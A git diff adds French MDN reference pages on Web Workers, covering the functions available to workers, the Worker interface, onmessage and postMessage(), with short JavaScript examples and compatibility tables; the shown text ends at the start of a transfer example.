+<p>En plus de l'ensemble des fonctions standard <a href="/en-US/docs/Web/JavaScript">JavaScript</a> (telles que {{jsxref("Global_Objects/String", "String")}}, {{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/JSON", "JSON")}} etc), des fonctions du DOM restent disponibles pour les workers. Cet article en fournit la liste.</p>
+
+<p><strong>Les workers s'exécutent dans un contexte global, {{domxref("DedicatedWorkerGlobalScope")}} différent du contexte de la fenêtre courante</strong>. Par défaut les méthodes et propriétés de {{domxref("Window")}} ne leur sont pas disponibles, mais {{domxref("DedicatedWorkerGlobalScope")}}, comme <code>Window</code>, implémente {{domxref("WindowTimers")}} et {{domxref("WindowBase64")}}.</p>
+
+<h2 id="Comparaison_des_propriétés_et_méthodes_des_différents_types_de_workers">Comparaison des propriétés et méthodes des différents types de workers</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Fonctions</td>
+   <td class="header">Workers dédiés</td>
+   <td class="header">Workers partagés</td>
+   <td class="header">Service workers</td>
+   <td class="header">Chrome workers {{Non-standard_inline}}</td>
+   <td class="header">En dehors des  workers</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowBase64.atob", "atob()")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowBase64.btoa", "btoa()")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.clearInterval", "clearInterval()")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.setInterval", "setInterval()")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.setTimeout", "setTimeout()")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>non</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, sur {{domxref("WorkerGlobalScope")}}</td>
+   <td>oui, mais sans effet</td>
+   <td>Inconnu</td>
+   <td>non</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}</td>
+   <td>oui, sur {{domxref("DedicatedWorkerGlobalScope")}}</td>
+   <td>non</td>
+   <td>non</td>
+   <td>Inconnu</td>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="APIs_disponibles_dans_les_workers">APIs disponibles dans les workers</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Fonction</td>
+   <td class="header">Fonctionnalité</td>
+   <td class="header">Support dans Gecko (Firefox)</td>
+   <td class="header">Support dans IE</td>
+   <td class="header">Support dans Blink (Chrome et Opera)</td>
+   <td class="header">Support dans WebKit (Safari)</td>
+  </tr>
+  <tr>
+   <td><code>XMLHttpRequest</code></td>
+   <td>Crée et retourne un nouvel objet {{domxref("XMLHttpRequest")}}; il imite le comportement du constructeur standard <code>XMLHttpRequest()</code>. Remarquez que les attributs <code>responseXML</code> et <code>channel</code> de <code>XMLHttpRequest</code> retourne toujours <code>null</code>.</td>
+   <td>
+    <p>Basique : {{CompatGeckoDesktop("1.9.1")}}</p>
+
+    <p>{{domxref("XMLHttpRequest.response", "response")}} et {{domxref("XMLHttpRequest.responseType", "responseType")}} sont disponibles depuis {{CompatGeckoDesktop("10")}}</p>
+
+    <p>{{domxref("XMLHttpRequest.timeout", "timeout")}} et {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} sont disponibles depuis {{CompatGeckoDesktop("13")}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Worker</code></td>
+   <td>Crée un nouveau {{ domxref("Worker") }}. Oui, les workers peuvent engendrer des workers supplémentaires.</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}} Voir <a class="external" href="http://code.google.com/p/chromium/issues/detail?id=31666" rel="external" title="http://code.google.com/p/chromium/issues/detail?id=31666">crbug.com/31666</a></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("URL") }}</td>
+   <td>Les workers peuvent utiliser les méthodes statiques <a href="/en-US/docs/DOM/window.URL.createObjectURL" title="/en-US/docs/DOM/window.URL.createObjectURL">URL.createObjectURL</a> et <a href="/en-US/docs/DOM/window.URL.revokeObjectURL" title="/en-US/docs/DOM/window.URL.revokeObjectURL">URL.revokeObjectURL</a> avec les objets {{domxref("Blob")}} accessibles au worker.<br>
+    Les workers peuvent aussi créer une nouvelle URL en utilisant le constructeur {{domxref("URL.URL", "URL()")}} et appeler n'importe quelle méthode normale sur l'objet retourné.</td>
+   <td>{{CompatGeckoDesktop(21)}} et {{CompatGeckoDesktop(26)}} pour le constructeur URL()</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}</td>
+   <td>Crée et retourne un nouveau {{domxref("TextEncoder")}}, ou respectivement {{domxref("TextDecoder")}}, permettant d'encoder ou de décoder des chaînes de caractère dans un encodage spécifique.</td>
+   <td>{{CompatGeckoDesktop(20)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerNavigator")}}</td>
+   <td>Le sous-ensemble de l'interface {{domxref("Navigator")}} disponible aux workers.</td>
+   <td>Implémentation basique {{CompatVersionUnknown}}<br>
+    {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}<br>
+    {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}<br>
+    {{domxref("NavigatorLanguage")}}: {{CompatNo}}</td>
+   <td>{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appName")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0<br>
+    Autre : {{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerLocation")}}</td>
+   <td>Le sous-ensemble de l'interface {{domxref("Location")}} disponible aux workers.</td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope")}}</td>
+   <td>Le contexte global des workers. Cet objet définit <a href="#workerscope">les fonctions spécifiques aux workers</a>.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ImageData")}}</td>
+   <td>Les données en pixels sous-jacentes à une zone d'un élément {{domxref("canvas")}}. Manipuler de telles données peut être une tâche complexe qu'il est plus approprié de déléguer à un web worker.</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FileReaderSync")}}</td>
+   <td>Cette API permet la lecture synchrone d'objets {{domxref("Blob")}} et {{domxref("File")}}. C'est une API qui fonctionne uniquement au sein des workers.</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("IndexedDB_API", "IndexedDB")}}</td>
+   <td>Une base de données pour stocker des enregistrements contenant des valeurs simples et des objets hiérarchiques.</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WebSocket")}}</td>
+   <td>Crée et retourne un nouvel objet {{domxref("WebSocket")}}; Il imite le comportement d'un constructeur <code>WebSocket()</code> standard.</td>
+   <td>{{CompatGeckoDesktop(36)}}</td>
+   <td>11.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/Data_Store_API">Data Store API</a></td>
+   <td>Un mécanisme de stockage puissant et flexible pour de multiples applications Firefox OS qui ont l'habitude de stocker et d'échanger des données entre elles de manière rapide, efficace et sécurisée.</td>
+   <td>Seulement dans les applications internes (certifiées) de Firefox OS, deuis v1.0.1.</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></td>
+   <td>Les objets JavaScript qui vous permettent d'écrire des fonctions asynchrones.</td>
+   <td>{{CompatGeckoDesktop(28)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Utilisation_des_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Utilisation des web workers</a></li>
+ <li>{{ domxref("Worker") }}</li>
+</ul>
diff --git a/files/fr/web/api/worker/index.html b/files/fr/web/api/worker/index.html
new file mode 100644
index 0000000000..98ed0a13c4
--- /dev/null
+++ b/files/fr/web/api/worker/index.html
@@ -0,0 +1,132 @@
+---
+title: Worker
+slug: Web/API/Worker
+tags:
+  - API
+  - DOM
+  - JavaScript
+  - Reference
+  - Web Workers
+  - Worker
+  - Workers
+translation_of: Web/API/Worker
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>L'interface <strong>Worker</strong> de l'<a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Workers_API">API Web Workers</a> représente une tâche de fond qui peut facilement être créée et peut envoyer des messages en retour à son créateur. Créer un Worker est aussi simple que d'appeler le constructeur <code>Worker()</code>, en spécifiant un script qui définira le comportement du thread du worker.</p>
+
+<p>Notez qu'un worker peut lui aussi lancer d'autre Worker tant que ces autres workers sont hébergés par une page qui a la même origine que la page parente. (Note: <a href="https://bugs.webkit.org/show_bug.cgi?id=22723">Les workers imbriqués ne sont pas encore implémentés dans WebKit</a>).</p>
+
+<p>De plus les workers peuvent utiliser <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> pour les communiquer avec le réseau, à l'exception des attributs <code>responseXML</code> et <code>channel</code> qui vont toujours retourner <code>null</code>.</p>
+
+<p>Toutes les<a href="/fr/DOM/Worker/Functions_available_to_workers"> interfaces et toutes les fonctions</a> ne seront pas disponibles pour le script associé au worker.</p>
+
+<div class="blockIndicator note">
+<p>Dans firefox, si vous souhaitez utiliser les workers dans une extension et que vous souhaitez avoir accès au <a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a>, vous devez utiliser le {{ domxref("ChromeWorker") }} à la place.</p>
+</div>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<dl>
+ <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
+ <dd>Créer un web worker dédié qui execute le script qui est au bout de l'URL spécifié. Les workers peuvent aussi être créés en utilisant les <a href="https://developer.mozilla.org/fr/docs/Web/API/Blob">Blobs</a>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Il hérite de propriétés de son parent, {{domxref("EventTarget")}}, et implémente les propriétés de {{domxref("AbstractWorker")}}.</em></p>
+
+<h3 id="Gestionnaires_dévénements">Gestionnaires d'événements</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>Un {{ domxref("EventListener") }} qui est appelé quand un {{domxref("ErrorEvent")}} de type <code>error</code> arrive dans le worker. Il est hérité de {{domxref("AbstractWorker")}}.</dd>
+ <dt>{{domxref("Worker.onmessage")}}</dt>
+ <dd>Un {{ domxref("EventListener") }} qui est appelé quand un {{domxref("MessageEvent")}} de type <code>message</code> arrive dans le worker — i.e. quand un message est envoyé au document parent depuis le worker via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. Le message est stocké dans la propriété {{domxref("MessageEvent.data", "data")}} de l'événement.</dd>
+ <dt>{{domxref("Worker.onmessageerror")}}</dt>
+ <dd>Un {{domxref("EventHandler")}} qui indique le code à appeler quand un message {{event("messageerror")}} arrive.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Il hérite de son parent, </em> <em>{{domxref("EventTarget")}},</em> et implémente les propriétés de <em>{{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Worker.postMessage()")}}</dt>
+ <dd>Envoie un message, qui est n'importe quel objets JavaScript vers la clôture du worker.</dd>
+ <dt>{{domxref("Worker.terminate()")}}</dt>
+ <dd>Termine immédiatement le worker. Ceci n'offre aucune chance au worker de finir son opération en cours, il est simplement arrêté une fois pour toute. Les instances de <code><a href="/fr/docs/Web/API/ServiceWorker">ServiceWorker</a></code> ne supportent pas cette méthode.</dd>
+</dl>
+
+<h2 id="Évènements">Évènements</h2>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/API/Worker/message_event">message</a></code></dt>
+ <dd>Lorsque le worker parent reçoit un message venant du worker. On peut aussi y accéder via la propriété {{domxref("Worker.onmessage")}}.</dd>
+ <dt><code><a href="/fr/docs/Web/API/Worker/messageerror_event">messageerror</a></code></dt>
+ <dd>Lorsque le worker reçois un message qu'il ne peut <a href="/fr/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">désérialiser</a>. Aussi disponible à travers la propriété {{domxref("Worker.onmessageerror")}}.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/API/Window/rejectionhandled_event">rejectionhandled</a></code></dt>
+ <dd>Levé à chaque fois qu'une {{jsxref("Promise")}} est rejeté, avec ou sans gestionnaire pour intercepter l'exception. Aussi disponible à travers le gestionnaire <code><a href="/fr/docs/Web/API/WindowEventHandlers/onrejectionhandled">onrejectionhandled</a></code>.</dd>
+ <dt><code><a href="/fr/docs/Web/API/Window/unhandledrejection_event">unhandledrejection</a></code></dt>
+ <dd>Levé quand une {{jsxref("Promise")}} est rejetée sans gestionnaire pour récupérer l'exception. Aussi disponible à travers la propriété <code><a href="/fr/docs/Web/API/WindowEventHandlers/onunhandledrejection">onunhandledrejection</a></code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre la création d'un objet {{domxref("Worker")}} en utilisant le constructeur {{domxref("Worker.Worker", "Worker()")}} et l'utilisation de l'objet:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> monWorker <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Worker</span><span class="punctuation token">(</span><span class="string token">"worker.js"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> premier <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'#numero1'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+premier<span class="punctuation token">.</span>onchange <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  monWorker<span class="punctuation token">.</span><span class="function token">postMessage</span><span class="punctuation token">(</span><span class="punctuation token">[premiere</span><span class="punctuation token">.</span>valeur<span class="punctuation token">, deuxieme</span><span class="punctuation token">.</span>valeur<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Message envoyé au worker'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Pour un exemple complet, voir <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Exemple basique de worker dédié</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">exécuter le worker dédié</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statuts</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div>
+<p>Voici le support des différents type de worker. Voir les pages de chaque worker pour avoir les particularités.</p>
+
+
+
+<p>{{Compat("api.Worker")}}</p>
+
+<h3 id="Comportement_des_erreur_Cross-origin_sur_les_worker">Comportement des erreur Cross-origin sur les worker</h3>
+
+<p>Dans les premières versions des spécifications, charger un scripte worker en cross-origin lève une exception <code>SecurityError</code>. Désormais, à la place un évènement {{event("error")}} lancé. Pour en savoir plus, voir <em><a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">(en) Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed</a></em>.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="internal" href="/fr/docs/Web/API/Web_Workers_API/Utilisation_des_web_workers" title="Utiliser les web Worker">Utiliser les web Worker</a></li>
+ <li><a href="/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Fonctions et classes disponibles dans les Web Workers</a></li>
+ <li>D'autres type de workers: {{ domxref("SharedWorker") }}, et <a href="https://developer.mozilla.org/fr/docs/Web/API/ServiceWorker_API">ServiceWorker</a>.</li>
+ <li>Worker non-standard, spécifique à Gecko: {{ domxref("ChromeWorker") }}, utilisé par les extensions.</li>
+</ul>
diff --git a/files/fr/web/api/worker/onmessage/index.html b/files/fr/web/api/worker/onmessage/index.html
new file mode 100644
index 0000000000..be2e625626
--- /dev/null
+++ b/files/fr/web/api/worker/onmessage/index.html
@@ -0,0 +1,79 @@
+---
+title: Worker.onmessage
+slug: Web/API/Worker/onmessage
+tags:
+  - API
+  - Property
+  - Reference
+translation_of: Web/API/Worker/onmessage
+---
+<p>{{ APIRef("Web Workers API") }}</p>
+
+<p>La propriété <strong><code>onmessage</code></strong> de l'interface {{domxref("Worker")}} représente un {{domxref("EventHandler")}}, à savoir une fonction qui est appelée lorsque l'événement {{event("message")}} survient. Ces événements sont du type {{domxref("MessageEvent")}} et sont appelés quand le parent du worker reçoit un message (c’est-à-dire à partir de la méthode {{domxref("DedicatedWorkerGlobalScope.postMessage")}}).</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: le contenu du message est fourni par la propriété <code>data</code> de l'événement {{event("message")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myWorker.onmessage = function(e) { ... }</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant illustre la création d'un objet {{domxref("Worker")}} utilisant le constructeur {{domxref("Worker.Worker", "Worker()")}}. Les messages sont passés au worker lorsque la valeur de l'élément de formulaire <code>first</code> change. Un gestionnaire onmessage est également présent pour s'occuper des messages retournés par le worker.</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message envoyé au worker');
+}
+
+myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message reçu du worker');
+}
+</pre>
+
+<p>Dans le script <code>worker.js</code>, un gestionnaire <code>onmessage</code> se charge des messages en provenance du script principal :</p>
+
+<pre class="brush: js">onmessage = function(e) {
+  console.log('Message reçu du script principal');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Renvoi d\'un message au script principal');
+  postMessage(workerResult);
+}</pre>
+
+<p>Remarquez comment dans le script principal, <code>onmessage</code> doit être appelée par <code>myWorker</code>, tandis que dans le script du worker vous avez juste besoin d'appeler <code>onmessage</code> parce que le worker est en réalité le contexte global ({{domxref("DedicatedWorkerGlobalScope")}}).</p>
+
+<p>Pour un exemple complet, consulter notre <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Exemple basique de worker dédié</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">lancez le worker dédié</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-worker-onmessage", "Worker.onmessage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.Worker.onmessage")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("Worker")}} à laquelle elle appartient.</p>
diff --git a/files/fr/web/api/worker/postmessage/index.html b/files/fr/web/api/worker/postmessage/index.html
new file mode 100644
index 0000000000..d8a3e7be93
--- /dev/null
+++ b/files/fr/web/api/worker/postmessage/index.html
@@ -0,0 +1,153 @@
+---
+title: Worker.postMessage()
+slug: Web/API/Worker/postMessage
+translation_of: Web/API/Worker/postMessage
+---
+<p>{{ apiref("Worker") }}</p>
+
+<p>La méthode <code><strong>Worker.postMessage()</strong></code> envoie un message à la portée locale du worker. Cette fonction accepte un seul paramètre, qui est la donnée à envoyer au worker. Cette donnée peut-être de n'importe quelle valeur ou un objet JavaScript pris en charge par l'algorithme de clone structuré, qui inclut les références cycliques.</p>
+
+<p>Le Worker peut renvoyer une information au thread qui l'a créé en utilisant la méthode {{domxref("DedicatedWorkerGlobalScope.postMessage")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>worker.</em>postMessage(<em>aMessage</em>, <em>[transferList</em>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>aMessage</em></dt>
+ <dd>L'objet à envoyer au worker; il va être dans le champ de donnée <code>data</code> dans l'évènement délivré au gestonnaire d'évènement {{domxref("Worker.onmessage")}}. Cette donnée peut être de n'importe quelle valeur ou un objet JavaScript pris en charge par l'algorithme de <a href="/fr/docs/Web/API/Web_Workers_API/algorithme_clonage_structure">clone structuré</a>, qui inclut les références cycliques.</dd>
+ <dt><em>transferList</em> {{optional_inline}}</dt>
+ <dd>Un tableau optionnel d'objets {{domxref("Transferable")}} desquels on doit transférer la propriété. Si la propriété d'un objet est transférée, il devient inutilisable (<em>neutralisé</em>) pour le contexte émétteur et devient disponible uniquement pour le worker auquel cela a été envoyé.</dd>
+ <dd>Seulement des objets de types {{domxref("MessagePort")}}, {{domxref("ArrayBuffer")}} ou {{domxref("ImageBitmap")}} peuvent être transférés. <code>null</code> n'est pas une valeur accéptée pour <code>transfer</code>.</dd>
+ <dt>
+ <h3 id="Retour">Retour</h3>
+ </dt>
+</dl>
+
+<p>Vide.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre la création d'un objet {{domxref("Worker")}} en utilisant le constructeur {{domxref("Worker.Worker", "Worker()")}}. Quand les deux champs de formulaire (<code>fisrt</code> et <code>second</code>) ont été changés, les évènements {{event("change")}} invoquent <code>postMessage()</code> pour envoyer la valeur des deux entrées au <em>worker</em> courant.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> myWorker <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Worker</span><span class="punctuation token">(</span><span class="string token">'worker.js'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+first<span class="punctuation token">.</span><span class="function function-variable token">onchange</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  myWorker<span class="punctuation token">.</span><span class="function token">postMessage</span><span class="punctuation token">(</span><span class="punctuation token">[</span>first<span class="punctuation token">.</span>value<span class="punctuation token">,</span>second<span class="punctuation token">.</span>value<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Message posted to worker'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+second<span class="punctuation token">.</span><span class="function function-variable token">onchange</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  myWorker<span class="punctuation token">.</span><span class="function token">postMessage</span><span class="punctuation token">(</span><span class="punctuation token">[</span>first<span class="punctuation token">.</span>value<span class="punctuation token">,</span>second<span class="punctuation token">.</span>value<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Message posted to worker'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Pour l'exemple en entier, voir <a href="https://github.com/mdn/simple-web-worker">Basic dedicated worder example</a> (<a href="http://mdn.github.io/simple-web-worker/">démonstration</a>).</p>
+
+<div class="blockIndicator note">
+<p><strong>Remarque:</strong> <code>postMessage()</code> peut n'envoyer qu'un objet à la fois. Comme ci-dessus, si vous voulez envoyez plusieurs valeurs, vous pouvez utiliser un tableau.</p>
+</div>
+
+<h3 id="Exemple_de_transfert">Exemple de transfert</h3>
+
+<p>Cette exemple montre une extension pour Firefox qui transfert un <code>ArrarBuffer</code> depuis le <em>thread</em> principal vers le <code>ChromeWorker</code>, et le <code>ChromeWorker</code> répond au le thread principal.</p>
+
+<h4 id="Main_thread_code">Main thread code:</h4>
+
